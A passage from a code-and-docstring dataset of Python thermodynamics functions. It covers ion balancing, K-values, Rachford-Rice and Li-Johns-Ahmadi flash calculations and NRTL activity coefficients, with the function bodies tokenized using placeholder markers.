[mg/L]\n    cation_concs : list, optional\n        Concentrations of each cation in the aqueous solution in the units \n        often reported (for convinience only) [mg/L]\n    rho_w : float, optional\n        Density of the aqueous solutionr at the temperature and pressure the\n        anion and cation concentrations were measured (if specified), [kg/m^3]\n    method : str, optional\n        The method to use to balance the ionimbalance; one of 'dominant', \n        'decrease dominant', 'increase dominant',\n        'proportional insufficient ions increase', \n        'proportional excess ions decrease', \n        'proportional cation adjustment', 'proportional anion adjustment', \n        'Na or Cl increase', 'Na or Cl decrease', 'adjust', 'increase', \n        'decrease', 'makeup'].\n    selected_ion : ChemicalMetadata, optional\n        Some methods adjust only one user-specified ion; this is that input.\n        For the case of the 'makeup' method, this is a tuple of (anion, cation)\n        ChemicalMetadata instances and only the ion type not in excess will be\n        used.\n\n    Returns\n    -------\n    anions : list(ChemicalMetadata)\n        List of all negatively charged ions measured as being in the solution;\n        ChemicalMetadata instances after potentially adding in an ion which\n        was not present but specified by the user, [-]\n    cations : list(ChemicalMetadata)\n        List of all positively charged ions measured as being in the solution;\n        ChemicalMetadata instances after potentially adding in an ion which\n        was not present but specified by the user, [-]\n    anion_zs : list,\n        Mole fractions of each anion in the aqueous solution after the charge\n        balance, [-]\n    cation_zs : list\n        Mole fractions of each cation in the aqueous solution after the charge\n        balance, [-]\n    z_water : float\n        Mole fraction of the water in the solution, [-]\n\n    Notes\n    -----\n    The methods perform the charge balance as follows:\n\n    * 'dominant' : The ion with the largest mole fraction in solution has its\n      concentration adjusted up or down as necessary to balance the solution.\n    * 'decrease dominant' : The ion with the largest mole fraction in the type\n      of ion with *excess* charge has its own mole fraction decreased to balance\n      the solution.\n    * 'increase dominant' : The ion with the largest mole fraction in the type\n      of ion with *insufficient* charge has its own mole fraction decreased to \n      balance the solution.\n    * 'proportional insufficient ions increase' : The ion charge type which is\n      present insufficiently has each of the ions mole fractions *increased*\n      proportionally until the solution is balanced.\n    * 'proportional excess ions decrease' :  The ion charge type which is\n      present in excess has each of the ions mole fractions *decreased*\n      proportionally until the solution is balanced.\n    * 'proportional cation adjustment' : All *cations* have their mole fractions\n      increased or decreased proportionally as necessary to balance the \n      solution.\n    * 'proportional anion adjustment' : All *anions* have their mole fractions\n      increased or decreased proportionally as necessary to balance the \n      solution.\n    * 'Na or Cl increase' : Either Na+ or Cl- is *added* to the solution until\n      the solution is balanced; the species will be added if they were not\n      present initially as well.\n    * 'Na or Cl decrease' : Either Na+ or Cl- is *removed* from the solution \n      until the solution is balanced; the species will be added if they were \n      not present initially as well.\n    * 'adjust' : An ion specified with the parameter `selected_ion` has its\n      mole fraction *increased or decreased* as necessary to balance the \n      solution. An exception is raised if the specified ion alone cannot \n      balance the solution.\n    * 'increase' : An ion specified with the parameter `selected_ion` has its\n      mole fraction *increased* as necessary to balance the \n      solution. An exception is raised if the specified ion alone cannot \n      balance the solution.\n    * 'decrease' : An ion specified with the parameter `selected_ion` has its\n      mole fraction *decreased* as necessary to balance the \n      solution. An exception is raised if the specified ion alone cannot \n      balance the solution.\n    * 'makeup' : Two ions ase specified as a tuple with the parameter \n      `selected_ion`. Whichever ion type is present in the solution \n      insufficiently is added; i.e. if the ions were Mg+2 and Cl-, and there\n      was too much negative charge in the solution, Mg+2 would be added until\n      the solution was balanced.\n\n    Examples\n    --------\n    >>> anions_n = ['Cl-', 'HCO3-', 'SO4-2']\n    >>> cations_n = ['Na+', 'K+', 'Ca+2', 'Mg+2']\n    >>> cations = [pubchem_db.search_name(i) for i in cations_n]\n    >>> anions = [pubchem_db.search_name(i) for i in anions_n]\n    >>> an_res, cat_res, an_zs, cat_zs, z_water = balance_ions(anions, cations,\n    ... anion_zs=[0.02557, 0.00039, 0.00026], cation_zs=[0.0233, 0.00075,\n    ... 0.00262, 0.00119], method='proportional excess ions decrease')\n    >>> an_zs\n    [0.02557, 0.00039, 0.00026]\n    >>> cat_zs\n    [0.01948165456267761, 0.0006270918850647299, 0.0021906409851594564, 0.0009949857909693717]\n    >>> z_water\n    0.9504856267761288\n\n    References\n    ----------", "id": "f15783:m21"}
{"signature": "def K_value(P=None, Psat=None, phi_l=None, phi_g=None, gamma=None, Poynting=<NUM_LIT:1>):", "body": "try:<EOL><INDENT>if gamma:<EOL><INDENT>if phi_l:<EOL><INDENT>return gamma*Psat*phi_l*Poynting/(phi_g*P)<EOL><DEDENT>return gamma*Psat*Poynting/P<EOL><DEDENT>elif phi_l:<EOL><INDENT>return phi_l/phi_g<EOL><DEDENT>return Psat/P<EOL><DEDENT>except TypeError:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Calculates the equilibrium K-value assuming Raoult's law,\n    or an equation of state model, or an activity coefficient model,\n    or a combined equation of state-activity model.\n\n    The calculation procedure will use the most advanced approach with the\n    provided inputs:\n\n        * If `P`, `Psat`, `phi_l`, `phi_g`, and `gamma` are provided, use the\n          combined approach.\n        * If `P`, `Psat`, and `gamma` are provided, use the modified Raoult's\n          law.\n        * If `phi_l` and `phi_g` are provided, use the EOS only method.\n        * If `P` and `Psat` are provided, use Raoult's law.\n\n    Definitions:\n\n    .. math::\n        K_i=\\frac{y_i}{x_i}\n\n    Raoult's law:\n\n    .. math::\n        K_i = \\frac{P_{i}^{sat}}{P}\n\n    Activity coefficient, no EOS (modified Raoult's law):\n\n    .. math::\n        K_i = \\frac{\\gamma_i P_{i}^{sat}}{P}\n\n    Equation of state only:\n\n    .. math::\n        K_i = \\frac{\\phi_i^l}{\\phi_i^v} = \\frac{f_i^l}{f_i^v}\n\n    Combined approach (liquid reference fugacity coefficient is normally\n    calculated the saturation pressure for it as a pure species; vapor fugacity\n    coefficient calculated normally):\n\n    .. math::\n        K_i = \\frac{\\gamma_i P_i^{sat} \\phi_i^{l,ref}}{\\phi_i^v P}\n\n    Combined approach, with Poynting Correction Factor (liquid molar volume in\n    the integral is for i as a pure species only):\n\n    .. math::\n        K_i = \\frac{\\gamma_i P_i^{sat} \\phi_i^{l, ref} \\exp\\left[\\frac{\n        \\int_{P_i^{sat}}^P V_i^l dP}{RT}\\right]}{\\phi_i^v P}\n\n    Parameters\n    ----------\n    P : float\n        System pressure, optional\n    Psat : float\n        Vapor pressure of species i, [Pa]\n    phi_l : float\n        Fugacity coefficient of species i in the liquid phase, either\n        at the system conditions (EOS-only case) or at the saturation pressure\n        of species i as a pure species (reference condition for the combined\n        approach), optional [-]\n    phi_g : float\n        Fugacity coefficient of species i in the vapor phase at the system\n        conditions, optional [-]\n    gamma : float\n        Activity coefficient of species i in the liquid phase, optional [-]\n    Poynting : float\n        Poynting correction factor, optional [-]\n\n    Returns\n    -------\n    K : float\n        Equilibrium K value of component i, calculated with an approach\n        depending on the provided inputs [-]\n\n    Notes\n    -----\n    The Poynting correction factor is normally simplified as follows, due to\n    a liquid's low pressure dependency:\n\n    .. math::\n        K_i = \\frac{\\gamma_i P_i^{sat} \\phi_i^{l, ref} \\exp\\left[\\frac{V_l\n        (P-P_i^{sat})}{RT}\\right]}{\\phi_i^v P}\n\n    Examples\n    --------\n    Raoult's law:\n\n    >>> K_value(101325, 3000.)\n    0.029607698001480384\n\n    Modified Raoult's law:\n\n    >>> K_value(P=101325, Psat=3000, gamma=0.9)\n    0.026646928201332347\n\n    EOS-only approach:\n\n    >>> K_value(phi_l=1.6356, phi_g=0.88427)\n    1.8496613025433408\n\n    Gamma-phi combined approach:\n\n    >>> K_value(P=1E6, Psat=1938800, phi_l=1.4356, phi_g=0.88427, gamma=0.92)\n    2.8958055544121137\n\n    Gamma-phi combined approach with a Poynting factor:\n\n    >>> K_value(P=1E6, Psat=1938800, phi_l=1.4356, phi_g=0.88427, gamma=0.92,\n    ... Poynting=0.999)\n    2.8929097488577016\n\n    References\n    ----------\n    .. [1] Gmehling, Jurgen, Barbel Kolbe, Michael Kleiber, and Jurgen Rarey.\n       Chemical Thermodynamics for Process Simulation. 1st edition. Weinheim:\n       Wiley-VCH, 2012.\n    .. [2] Skogestad, Sigurd. Chemical and Energy Process Engineering. 1st\n       edition. Boca Raton, FL: CRC Press, 2008.", "id": "f15784:m0"}
{"signature": "def Rachford_Rice_flash_error(V_over_F, zs, Ks):", "body": "return sum([zi*(Ki-<NUM_LIT:1.>)/(<NUM_LIT:1.>+V_over_F*(Ki-<NUM_LIT:1.>)) for Ki, zi in zip(Ks, zs)])<EOL>", "docstring": "r'''Calculates the objective function of the Rachford-Rice flash equation.\n    This function should be called by a solver seeking a solution to a flash\n    calculation. The unknown variable is `V_over_F`, for which a solution\n    must be between 0 and 1.\n\n    .. math::\n        \\sum_i \\frac{z_i(K_i-1)}{1 + \\frac{V}{F}(K_i-1)} = 0\n\n    Parameters\n    ----------\n    V_over_F : float\n        Vapor fraction guess [-]\n    zs : list[float]\n        Overall mole fractions of all species, [-]\n    Ks : list[float]\n        Equilibrium K-values, [-]\n\n    Returns\n    -------\n    error : float\n        Deviation between the objective function at the correct V_over_F\n        and the attempted V_over_F, [-]\n\n    Notes\n    -----\n    The derivation is as follows:\n\n    .. math::\n        F z_i = L x_i + V y_i\n\n        x_i = \\frac{z_i}{1 + \\frac{V}{F}(K_i-1)}\n\n        \\sum_i y_i = \\sum_i K_i x_i = 1\n\n        \\sum_i(y_i - x_i)=0\n\n        \\sum_i \\frac{z_i(K_i-1)}{1 + \\frac{V}{F}(K_i-1)} = 0\n\n    Examples\n    --------\n    >>> Rachford_Rice_flash_error(0.5, zs=[0.5, 0.3, 0.2],\n    ... Ks=[1.685, 0.742, 0.532])\n    0.04406445591174976\n\n    References\n    ----------\n    .. [1] Rachford, H. H. Jr, and J. D. Rice. \"Procedure for Use of Electronic\n       Digital Computers in Calculating Flash Vaporization Hydrocarbon\n       Equilibrium.\" Journal of Petroleum Technology 4, no. 10 (October 1,\n       1952): 19-3. doi:10.2118/952327-G.", "id": "f15784:m1"}
{"signature": "def Rachford_Rice_solution(zs, Ks):", "body": "Kmin = min(Ks)<EOL>Kmax = max(Ks)<EOL>z_of_Kmax = zs[Ks.index(Kmax)]<EOL>V_over_F_min = ((Kmax-Kmin)*z_of_Kmax - (<NUM_LIT:1.>-Kmin))/((<NUM_LIT:1.>-Kmin)*(Kmax-<NUM_LIT:1.>))<EOL>V_over_F_max = <NUM_LIT:1.>/(<NUM_LIT:1.>-Kmin)<EOL>V_over_F_min2 = max(<NUM_LIT:0.>, V_over_F_min)<EOL>V_over_F_max2 = min(<NUM_LIT:1.>, V_over_F_max)<EOL>x0 = (V_over_F_min2 + V_over_F_max2)*<NUM_LIT:0.5><EOL>try:<EOL><INDENT>V_over_F = newton(Rachford_Rice_flash_error, x0=x0, args=(zs, Ks))<EOL>assert V_over_F >= V_over_F_min2<EOL>assert V_over_F <= V_over_F_max2<EOL><DEDENT>except:<EOL><INDENT>V_over_F = brenth(Rachford_Rice_flash_error, V_over_F_max-<NUM_LIT>, V_over_F_min+<NUM_LIT>, args=(zs, Ks))<EOL><DEDENT>xs = [zi/(<NUM_LIT:1.>+V_over_F*(Ki-<NUM_LIT:1.>)) for zi, Ki in zip(zs, Ks)]<EOL>ys = [Ki*xi for xi, Ki in zip(xs, Ks)]<EOL>return V_over_F, xs, ys<EOL>", "docstring": "r'''Solves the objective function of the Rachford-Rice flash equation.\n    Uses the method proposed in [2]_ to obtain an initial guess.\n\n    .. math::\n        \\sum_i \\frac{z_i(K_i-1)}{1 + \\frac{V}{F}(K_i-1)} = 0\n\n    Parameters\n    ----------\n    zs : list[float]\n        Overall mole fractions of all species, [-]\n    Ks : list[float]\n        Equilibrium K-values, [-]\n\n    Returns\n    -------\n    V_over_F : float\n        Vapor fraction solution [-]\n    xs : list[float]\n        Mole fractions of each species in the liquid phase, [-]\n    ys : list[float]\n        Mole fractions of each species in the vapor phase, [-]\n\n    Notes\n    -----\n    The initial guess is the average of the following, as described in [2]_.\n\n    .. math::\n        \\left(\\frac{V}{F}\\right)_{min} = \\frac{(K_{max}-K_{min})z_{of\\;K_{max}}\n        - (1-K_{min})}{(1-K_{min})(K_{max}-1)}\n\n        \\left(\\frac{V}{F}\\right)_{max} = \\frac{1}{1-K_{min}}\n\n    Another algorithm for determining the range of the correct solution is\n    given in [3]_; [2]_ provides a narrower range however. For both cases,\n    each guess should be limited to be between 0 and 1 as they are often\n    negative or larger than 1.\n\n    .. math::\n        \\left(\\frac{V}{F}\\right)_{min} = \\frac{1}{1-K_{max}}\n\n        \\left(\\frac{V}{F}\\right)_{max} = \\frac{1}{1-K_{min}}\n\n    If the `newton` method does not converge, a bisection method (brenth) is\n    used instead. However, it is somewhat slower, especially as newton will\n    attempt 50 iterations before giving up.\n\n    Examples\n    --------\n    >>> Rachford_Rice_solution(zs=[0.5, 0.3, 0.2], Ks=[1.685, 0.742, 0.532])\n    (0.6907302627738542, [0.3394086969663436, 0.3650560590371706, 0.2955352439964858], [0.571903654388289, 0.27087159580558057, 0.15722474980613044])\n\n    References\n    ----------\n    .. [1] Rachford, H. H. Jr, and J. D. Rice. \"Procedure for Use of Electronic\n       Digital Computers in Calculating Flash Vaporization Hydrocarbon\n       Equilibrium.\" Journal of Petroleum Technology 4, no. 10 (October 1,\n       1952): 19-3. doi:10.2118/952327-G.\n    .. [2] Li, Yinghui, Russell T. Johns, and Kaveh Ahmadi. \"A Rapid and Robust\n       Alternative to Rachford-Rice in Flash Calculations.\" Fluid Phase\n       Equilibria 316 (February 25, 2012): 85-97.\n       doi:10.1016/j.fluid.2011.12.005.\n    .. [3] Whitson, Curtis H., and Michael L. Michelsen. \"The Negative Flash.\"\n       Fluid Phase Equilibria, Proceedings of the Fifth International\n       Conference, 53 (December 1, 1989): 51-71.\n       doi:10.1016/0378-3812(89)80072-X.", "id": "f15784:m2"}
{"signature": "def Li_Johns_Ahmadi_solution(zs, Ks):", "body": "<EOL>p = sorted(zip(Ks,zs), reverse=True)<EOL>Ks_sorted, zs_sorted = [K for (K,z) in p], [z for (K,z) in p]<EOL>k1 = Ks_sorted[<NUM_LIT:0>]<EOL>z1 = zs_sorted[<NUM_LIT:0>]<EOL>kn = Ks_sorted[-<NUM_LIT:1>]<EOL>x_min = (<NUM_LIT:1.> - kn)/(k1 - kn)*z1<EOL>x_max = (<NUM_LIT:1.> - kn)/(k1 - kn)<EOL>x_min2 = max(<NUM_LIT:0.>, x_min)<EOL>x_max2 = min(<NUM_LIT:1.>, x_max)<EOL>x_guess = (x_min2 + x_max2)*<NUM_LIT:0.5><EOL>length = len(zs)-<NUM_LIT:1><EOL>kn_m_1 = kn-<NUM_LIT:1.><EOL>k1_m_1 = (k1-<NUM_LIT:1.>)<EOL>t1 = (k1-kn)/(kn-<NUM_LIT:1.>)<EOL>objective = lambda x1: <NUM_LIT:1.> + t1*x1 + sum([(ki-kn)/(kn_m_1) * zi*k1_m_1*x1 /( (ki-<NUM_LIT:1.>)*z1 + (k1-ki)*x1) for ki, zi in zip(Ks_sorted[<NUM_LIT:1>:length], zs_sorted[<NUM_LIT:1>:length])])<EOL>try:<EOL><INDENT>x1 = newton(objective, x_guess)<EOL>assert x1 >= x_min2<EOL>assert x1 <= x_max2<EOL>V_over_F = (-x1 + z1)/(x1*(k1 - <NUM_LIT:1.>))<EOL>assert <NUM_LIT:0> <= V_over_F <= <NUM_LIT:1><EOL><DEDENT>except:<EOL><INDENT>x1 = brenth(objective, x_min, x_max)<EOL>V_over_F = (-x1 + z1)/(x1*(k1 - <NUM_LIT:1.>))<EOL><DEDENT>xs = [zi/(<NUM_LIT:1.>+V_over_F*(Ki-<NUM_LIT:1.>)) for zi, Ki in zip(zs, Ks)]<EOL>ys = [Ki*xi for xi, Ki in zip(xs, Ks)]<EOL>return V_over_F, xs, ys<EOL>", "docstring": "r'''Solves the objective function of the Li-Johns-Ahmadi flash equation.\n    Uses the method proposed in [1]_ to obtain an initial guess.\n\n    .. math::\n        0 = 1 + \\left(\\frac{K_{max}-K_{min}}{K_{min}-1}\\right)x_1\n        + \\sum_{i=2}^{n-1}\\frac{K_i-K_{min}}{K_{min}-1}\\left[\\frac{z_i(K_{max}\n        -1)x_{max}}{(K_i-1)z_{max} + (K_{max}-K_i)x_{max}}\\right]\n\n    Parameters\n    ----------\n    zs : list[float]\n        Overall mole fractions of all species, [-]\n    Ks : list[float]\n        Equilibrium K-values, [-]\n\n    Returns\n    -------\n    V_over_F : float\n        Vapor fraction solution [-]\n    xs : list[float]\n        Mole fractions of each species in the liquid phase, [-]\n    ys : list[float]\n        Mole fractions of each species in the vapor phase, [-]\n\n    Notes\n    -----\n    The initial guess is the average of the following, as described in [1]_.\n    Each guess should be limited to be between 0 and 1 as they are often\n    negative or larger than 1. `max` refers to the corresponding mole fractions\n    for the species with the largest K value.\n\n    .. math::\n        \\left(\\frac{1-K_{min}}{K_{max}-K_{min}}\\right)z_{max}\\le x_{max} \\le\n        \\left(\\frac{1-K_{min}}{K_{max}-K_{min}}\\right)\n\n    If the `newton` method does not converge, a bisection method (brenth) is\n    used instead. However, it is somewhat slower, especially as newton will\n    attempt 50 iterations before giving up.\n\n    This method does not work for problems of only two components.\n    K values are sorted internally. Has not been found to be quicker than the\n    Rachford-Rice equation.\n\n    Examples\n    --------\n    >>> Li_Johns_Ahmadi_solution(zs=[0.5, 0.3, 0.2], Ks=[1.685, 0.742, 0.532])\n    (0.6907302627738544, [0.33940869696634357, 0.3650560590371706, 0.2955352439964858], [0.5719036543882889, 0.27087159580558057, 0.15722474980613044])\n\n    References\n    ----------\n    .. [1] Li, Yinghui, Russell T. Johns, and Kaveh Ahmadi. \"A Rapid and Robust\n       Alternative to Rachford-Rice in Flash Calculations.\" Fluid Phase\n       Equilibria 316 (February 25, 2012): 85-97.\n       doi:10.1016/j.fluid.2011.12.005.", "id": "f15784:m3"}
{"signature": "def flash_inner_loop(zs, Ks, AvailableMethods=False, Method=None):", "body": "l = len(zs)<EOL>def list_methods():<EOL><INDENT>methods = []<EOL>if l in [<NUM_LIT:2>,<NUM_LIT:3>]:<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if l >= <NUM_LIT:2>:<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>if l >= <NUM_LIT:3>:<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = '<STR_LIT>' if l < <NUM_LIT:4> else '<STR_LIT>'<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>if l == <NUM_LIT:2>:<EOL><INDENT>z1, z2 = zs<EOL>K1, K2 = Ks<EOL>V_over_F = (-K1*z1 - K2*z2 + z1 + z2)/(K1*K2*z1 + K1*K2*z2 - K1*z1 - K1*z2 - K2*z1 - K2*z2 + z1 + z2)<EOL><DEDENT>elif l == <NUM_LIT:3>:<EOL><INDENT>z1, z2, z3 = zs<EOL>K1, K2, K3 = Ks<EOL>V_over_F = (-K1*K2*z1/<NUM_LIT:2> - K1*K2*z2/<NUM_LIT:2> - K1*K3*z1/<NUM_LIT:2> - K1*K3*z3/<NUM_LIT:2> + K1*z1 + K1*z2/<NUM_LIT:2> + K1*z3/<NUM_LIT:2> - K2*K3*z2/<NUM_LIT:2> - K2*K3*z3/<NUM_LIT:2> + K2*z1/<NUM_LIT:2> + K2*z2 + K2*z3/<NUM_LIT:2> + K3*z1/<NUM_LIT:2> + K3*z2/<NUM_LIT:2> + K3*z3 - z1 - z2 - z3 - (K1**<NUM_LIT:2>*K2**<NUM_LIT:2>*z1**<NUM_LIT:2> + <NUM_LIT:2>*K1**<NUM_LIT:2>*K2**<NUM_LIT:2>*z1*z2 + K1**<NUM_LIT:2>*K2**<NUM_LIT:2>*z2**<NUM_LIT:2> - <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*K3*z1**<NUM_LIT:2> - <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*K3*z1*z2 - <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*K3*z1*z3 + <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*K3*z2*z3 - <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*z1*z2 + <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*z1*z3 - <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*z2**<NUM_LIT:2> - <NUM_LIT:2>*K1**<NUM_LIT:2>*K2*z2*z3 + K1**<NUM_LIT:2>*K3**<NUM_LIT:2>*z1**<NUM_LIT:2> + <NUM_LIT:2>*K1**<NUM_LIT:2>*K3**<NUM_LIT:2>*z1*z3 + K1**<NUM_LIT:2>*K3**<NUM_LIT:2>*z3**<NUM_LIT:2> + <NUM_LIT:2>*K1**<NUM_LIT:2>*K3*z1*z2 - <NUM_LIT:2>*K1**<NUM_LIT:2>*K3*z1*z3 - <NUM_LIT:2>*K1**<NUM_LIT:2>*K3*z2*z3 - <NUM_LIT:2>*K1**<NUM_LIT:2>*K3*z3**<NUM_LIT:2> + K1**<NUM_LIT:2>*z2**<NUM_LIT:2> + <NUM_LIT:2>*K1**<NUM_LIT:2>*z2*z3 + K1**<NUM_LIT:2>*z3**<NUM_LIT:2> - <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*K3*z1*z2 + <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*K3*z1*z3 - <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*K3*z2**<NUM_LIT:2> - <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*K3*z2*z3 - <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*z1**<NUM_LIT:2> - <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*z1*z2 - <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*z1*z3 + <NUM_LIT:2>*K1*K2**<NUM_LIT:2>*z2*z3 + <NUM_LIT:2>*K1*K2*K3**<NUM_LIT:2>*z1*z2 - <NUM_LIT:2>*K1*K2*K3**<NUM_LIT:2>*z1*z3 - <NUM_LIT:2>*K1*K2*K3**<NUM_LIT:2>*z2*z3 - <NUM_LIT:2>*K1*K2*K3**<NUM_LIT:2>*z3**<NUM_LIT:2> + <NUM_LIT:4>*K1*K2*K3*z1**<NUM_LIT:2> + <NUM_LIT:4>*K1*K2*K3*z1*z2 + <NUM_LIT:4>*K1*K2*K3*z1*z3 + <NUM_LIT:4>*K1*K2*K3*z2**<NUM_LIT:2> + <NUM_LIT:4>*K1*K2*K3*z2*z3 + <NUM_LIT:4>*K1*K2*K3*z3**<NUM_LIT:2> + <NUM_LIT:2>*K1*K2*z1*z2 - <NUM_LIT:2>*K1*K2*z1*z3 - <NUM_LIT:2>*K1*K2*z2*z3 - <NUM_LIT:2>*K1*K2*z3**<NUM_LIT:2> - <NUM_LIT:2>*K1*K3**<NUM_LIT:2>*z1**<NUM_LIT:2> - <NUM_LIT:2>*K1*K3**<NUM_LIT:2>*z1*z2 - <NUM_LIT:2>*K1*K3**<NUM_LIT:2>*z1*z3 + <NUM_LIT:2>*K1*K3**<NUM_LIT:2>*z2*z3 - <NUM_LIT:2>*K1*K3*z1*z2 + <NUM_LIT:2>*K1*K3*z1*z3 - <NUM_LIT:2>*K1*K3*z2**<NUM_LIT:2> - <NUM_LIT:2>*K1*K3*z2*z3 + K2**<NUM_LIT:2>*K3**<NUM_LIT:2>*z2**<NUM_LIT:2> + <NUM_LIT:2>*K2**<NUM_LIT:2>*K3**<NUM_LIT:2>*z2*z3 + K2**<NUM_LIT:2>*K3**<NUM_LIT:2>*z3**<NUM_LIT:2> + <NUM_LIT:2>*K2**<NUM_LIT:2>*K3*z1*z2 - <NUM_LIT:2>*K2**<NUM_LIT:2>*K3*z1*z3 - <NUM_LIT:2>*K2**<NUM_LIT:2>*K3*z2*z3 - <NUM_LIT:2>*K2**<NUM_LIT:2>*K3*z3**<NUM_LIT:2> + K2**<NUM_LIT:2>*z1**<NUM_LIT:2> + <NUM_LIT:2>*K2**<NUM_LIT:2>*z1*z3 + K2**<NUM_LIT:2>*z3**<NUM_LIT:2> - <NUM_LIT:2>*K2*K3**<NUM_LIT:2>*z1*z2 + <NUM_LIT:2>*K2*K3**<NUM_LIT:2>*z1*z3 - <NUM_LIT:2>*K2*K3**<NUM_LIT:2>*z2**<NUM_LIT:2> - <NUM_LIT:2>*K2*K3**<NUM_LIT:2>*z2*z3 - <NUM_LIT:2>*K2*K3*z1**<NUM_LIT:2> - <NUM_LIT:2>*K2*K3*z1*z2 - <NUM_LIT:2>*K2*K3*z1*z3 + <NUM_LIT:2>*K2*K3*z2*z3 + K3**<NUM_LIT:2>*z1**<NUM_LIT:2> + <NUM_LIT:2>*K3**<NUM_LIT:2>*z1*z2 + K3**<NUM_LIT:2>*z2**<NUM_LIT:2>)**<NUM_LIT:0.5>/<NUM_LIT:2>)/(K1*K2*K3*z1 + K1*K2*K3*z2 + K1*K2*K3*z3 - K1*K2*z1 - K1*K2*z2 - K1*K2*z3 - K1*K3*z1 - K1*K3*z2 - K1*K3*z3 + K1*z1 + K1*z2 + K1*z3 - K2*K3*z1 - K2*K3*z2 - K2*K3*z3 + K2*z1 + K2*z2 + K2*z3 + K3*z1 + K3*z2 + K3*z3 - z1 - z2 - z3)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>xs = [zi/(<NUM_LIT:1.>+V_over_F*(Ki-<NUM_LIT:1.>)) for zi, Ki in zip(zs, Ks)]<EOL>ys = [Ki*xi for xi, Ki in zip(xs, Ks)]<EOL>return V_over_F, xs, ys<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>return Rachford_Rice_solution(zs=zs, Ks=Ks)<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>return Li_Johns_Ahmadi_solution(zs=zs, Ks=Ks)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the solution of the inner loop of a flash\n    calculation, solving for liquid and gas mole fractions and vapor fraction\n    based on specified overall mole fractions and K values. As K values are\n    weak functions of composition, this should be called repeatedly by an outer\n    loop. Will automatically select an algorithm to use if no Method is\n    provided. Should always provide a solution.\n\n    The automatic algorithm selection will try an analytical solution, and use\n    the Rachford-Rice method if there are 4 or more components in the mixture.\n\n    Parameters\n    ----------\n    zs : list[float]\n        Overall mole fractions of all species, [-]\n    Ks : list[float]\n        Equilibrium K-values, [-]\n\n    Returns\n    -------\n    V_over_F : float\n        Vapor fraction solution [-]\n    xs : list[float]\n        Mole fractions of each species in the liquid phase, [-]\n    ys : list[float]\n        Mole fractions of each species in the vapor phase, [-]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain a solution with the given\n        inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'Analytical',\n        'Rachford-Rice', and 'Li-Johns-Ahmadi'. All valid values are also held\n        in the list `flash_inner_loop_methods`.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        a solution for the desired chemical, and will return methods instead of\n        `V_over_F`, `xs`, and `ys`.\n\n    Notes\n    -----\n    A total of three methods are available for this function. They are:\n\n        * 'Analytical', an exact solution derived with SymPy, applicable only\n          only to mixtures of two or three components\n        * 'Rachford-Rice', which numerically solves an objective function\n          described in :obj:`Rachford_Rice_solution`.\n        * 'Li-Johns-Ahmadi', which numerically solves an objective function\n          described in :obj:`Li_Johns_Ahmadi_solution`.\n\n    Examples\n    --------\n    >>> flash_inner_loop(zs=[0.5, 0.3, 0.2], Ks=[1.685, 0.742, 0.532])\n    (0.6907302627738537, [0.3394086969663437, 0.36505605903717053, 0.29553524399648573], [0.5719036543882892, 0.2708715958055805, 0.1572247498061304])", "id": "f15784:m4"}
{"signature": "def NRTL(xs, taus, alphas):", "body": "gammas = []<EOL>cmps = range(len(xs))<EOL>Gs = [[exp(-alphas[i][j]*taus[i][j]) for j in cmps] for i in cmps]<EOL>for i in cmps:<EOL><INDENT>tn1, td1, total2 = <NUM_LIT:0.>, <NUM_LIT:0.>, <NUM_LIT:0.><EOL>for j in cmps:<EOL><INDENT>tn1 += xs[j]*taus[j][i]*Gs[j][i]<EOL>td1 +=  xs[j]*Gs[j][i]<EOL>tn2 = xs[j]*Gs[i][j]<EOL>td2 = td3 = sum([xs[k]*Gs[k][j] for k in cmps])<EOL>tn3 = sum([xs[m]*taus[m][j]*Gs[m][j] for m in cmps])<EOL>total2 += tn2/td2*(taus[i][j] - tn3/td3)<EOL><DEDENT>gamma = exp(tn1/td1 + total2)<EOL>gammas.append(gamma)<EOL><DEDENT>return gammas<EOL>", "docstring": "r'''Calculates the activity coefficients of each species in a mixture\n    using the Non-Random Two-Liquid (NRTL) method, given their mole fractions,\n    dimensionless interaction parameters, and nonrandomness constants. Those\n    are normally correlated with temperature in some form, and need to be\n    calculated separately.\n\n    .. math::\n        \\ln(\\gamma_i)=\\frac{\\displaystyle\\sum_{j=1}^{n}{x_{j}\\tau_{ji}G_{ji}}}\n        {\\displaystyle\\sum_{k=1}^{n}{x_{k}G_{ki}}}+\\sum_{j=1}^{n}\n        {\\frac{x_{j}G_{ij}}{\\displaystyle\\sum_{k=1}^{n}{x_{k}G_{kj}}}}\n        {\\left ({\\tau_{ij}-\\frac{\\displaystyle\\sum_{m=1}^{n}{x_{m}\\tau_{mj}\n        G_{mj}}}{\\displaystyle\\sum_{k=1}^{n}{x_{k}G_{kj}}}}\\right )}\n\n        G_{ij}=\\text{exp}\\left ({-\\alpha_{ij}\\tau_{ij}}\\right )\n\n    Parameters\n    ----------\n    xs : list[float]\n        Liquid mole fractions of each species, [-]\n    taus : list[list[float]]\n        Dimensionless interaction parameters of each compound with each other,\n        [-]\n    alphas : list[list[float]]\n        Nonrandomness constants of each compound interacting with each other, 